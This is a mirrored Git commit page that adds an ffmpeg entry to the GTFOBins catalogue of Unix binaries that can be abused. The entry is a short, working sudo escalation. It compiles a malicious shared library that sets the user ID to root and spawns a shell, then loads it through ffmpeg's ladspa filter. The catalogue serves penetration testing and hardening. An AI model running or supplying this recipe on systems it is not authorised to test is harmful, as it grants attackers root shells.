mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
Add ffmpeg
This commit is contained in:
parent
ac8e667a7e
commit
4f594274ca
10
_gtfobins/ffmpeg.md
Normal file
10
_gtfobins/ffmpeg.md
Normal file
@ -0,0 +1,10 @@
|
|||||||
|
---
|
||||||
|
functions:
|
||||||
|
sudo:
|
||||||
|
- description: The ladspa filter loads external plugins for audio processing. Load a malicious shared library to execute code and get a shell.
|
||||||
|
code: |
|
||||||
|
TD=$(mktemp -d)
|
||||||
|
printf "\x52\x49\x46\x46\x24\x00\x00\x00\x57\x41\x56\x45\x66\x6d\x74\x20\x10\x00\x00\x00\x01\x00\x01\x00\x22\x56\x00\x00\x22\x56\x00\x00\x01\x00\x08\x00\x64\x61\x74\x61\x00\x00\x00\x00" > "$TD/any.wav"
|
||||||
|
echo -e '#include <unistd.h>\n#include <stdlib.h>\n__attribute__((constructor)) static void setup(void) {\nsetgid(0);\nsetuid(0);\nsystem("/bin/sh -c reset");\nsystem("/bin/sh");\n}' | gcc -x c -shared -fPIC -o $TD/libgtfo.so -
|
||||||
|
sudo ffmpeg -i $TD/any.wav -af "ladspa=file=$TD/libgtfo.so" -f null a.wav
|
||||||
|
---
|
Loading…
Reference in New Issue
Block a user